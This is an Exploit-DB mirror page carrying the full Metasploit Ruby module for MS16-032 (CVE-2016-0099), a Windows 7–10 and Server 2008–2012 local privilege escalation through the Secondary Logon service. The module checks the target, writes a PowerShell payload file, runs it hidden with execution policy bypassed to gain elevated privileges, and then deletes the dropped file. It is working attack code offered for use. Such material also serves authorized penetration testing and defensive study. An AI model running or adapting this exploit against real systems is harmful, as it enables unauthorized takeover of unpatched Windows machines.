Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Secondary Logon Handle Privilege Escalation (MS16-032) (Metasploit)

  • 作者: Metasploit
    日期: 2016-07-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40107/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'msf/core/payload_generator'
    require 'msf/core/exploit/powershell'
    require 'rex'
    
    class MetasploitModule < Msf::Exploit::Local
    
    Rank = NormalRanking
    
    include Msf::Exploit::Powershell
    include Msf::Post::Windows::Priv
    include Msf::Post::Windows::Process
    include Msf::Post::File
    include Msf::Post::Windows::ReflectiveDLLInjection
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'MS16-032 Secondary Logon Handle Privilege Escalation',
    'Description' => %q{
    This module exploits the lack of sanitization of standard handles in Windows' Secondary
    Logon Service.The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
    32 and 64 bit.This module will only work against those versions of Windows with
    Powershell 2.0 or later and systems with two or more CPU cores.
    },
     'License' => BSD_LICENSE,
     'Author'=>
     [
     'James Forshaw', # twitter.com/tiraniddo
     'b33f',# @FuzzySec, http://www.fuzzysecurity.com'
     'khr0x40sh'
     ],
     'References'=>
     [
     [ 'MS', 'MS16-032'],
     [ 'CVE', '2016-0099'],
     [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
     [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
     ],
    'DefaultOptions' =>
    {
    'WfsDelay' => 30,
    'EXITFUNC' => 'thread'
    },
    'DisclosureDate' => 'Mar 21 2016',
    'Platform'=> [ 'win' ],
    'SessionTypes'=> [ 'meterpreter' ],
    'Targets'=>
    [
    # Tested on (32 bits):
    # * Windows 7 SP1
    [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
    # Tested on (64 bits):
    # * Windows 7 SP1
    # * Windows 8
    # * Windows 2012
    [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
    ],
    'DefaultTarget' => 0
    ))
    
    register_advanced_options(
    [
    OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
    OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]),
    # How long until we DELETE file, we have a race condition here, so anything less than 60
    # seconds might break
    OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])
    ], self.class)
    end
    
    def get_arch
    arch = nil
    
    if sysinfo["Architecture"] =~ /(wow|x)64/i
    arch = ARCH_X86_64
    elsif sysinfo["Architecture"] =~ /x86/i
    arch = ARCH_X86
    end
    
    arch
    end
    
    def check
    os = sysinfo["OS"]
    
    if os !~ /win/i
    # Non-Windows systems are definitely not affected.
    return Exploit::CheckCode::Safe
    end
    
    Exploit::CheckCode::Detected
    end
    
    def exploit
    if is_system?
    fail_with(Failure::None, 'Session is already elevated')
    end
    
    arch1 = get_arch
    if check == Exploit::CheckCode::Safe
    print_error("Target is not Windows")
    return
    elsif arch1 == nil
    print_error("Architecture could not be determined.")
    return
    end
    
    # Exploit PoC from 'b33f'
    ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
    vprint_status("PS1 loaded from #{ps_path}")
    ms16_032 = File.read(ps_path)
    
    cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'
    
    if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
    cmdstr.gsub!("System32","SYSWOW64")
    print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
    vprint_warning("#{cmdstr}")
    end
    
    # payload formatted to fit dropped text file
    payl = cmd_psh_payload(payload.encoded,payload.arch,{
    encode_final_payload: false,
    remove_comspec: true,
    method: 'old'
    })
    
    payl.sub!(/.*?(?=New-Object IO)/im, "")
    payl = payl.split("';$s.")[0]
    payl.gsub!("''","'")
    payl = "$s=#{payl}while($true){Start-Sleep 1000};"
    
    @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
    path = datastore['W_PATH'] || pwd
    @upfile = "#{path}\\#{@upfile}"
    fd = session.fs.file.new(@upfile,"wb")
    print_status("Writing payload file, #{@upfile}...")
    fd.write(payl)
    fd.close
    psh_cmd = "IEX `$(gc #{@upfile})"
    
    #lpAppName
    ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
    #lpcommandLine - capped at 1024b
    ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")
    
    print_status('Compressing script contents...')
    ms16_032_c = compress_script(ms16_032)
    
    if ms16_032_c.size > 8100
    print_error("Compressed size: #{ms16_032_c.size}")
    error_msg = "Compressed size may cause command to exceed "
    error_msg += "cmd.exe's 8kB character limit."
    print_error(error_msg)
    else
    print_good("Compressed size: #{ms16_032_c.size}")
    end
    
    if datastore['DRY_RUN']
    print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
    return
    end
    
    print_status("Executing exploit script...")
    cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
    args = nil
    
    begin
    process = session.sys.process.execute(cmd, args, {
    'Hidden' => true,
    'Channelized' => false
    })
    rescue
    print_error("An error occurred executing the script.")
    end
    end
    
    def cleanup
    sleep_t = datastore['TIMEOUT']
    vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
    sleep sleep_t
    
    begin
    rm_f(@upfile)
    print_good("Cleaned up #{@upfile}")
    rescue
    print_error("There was an issue with cleanup of the powershell payload script.")
    end
    end
    end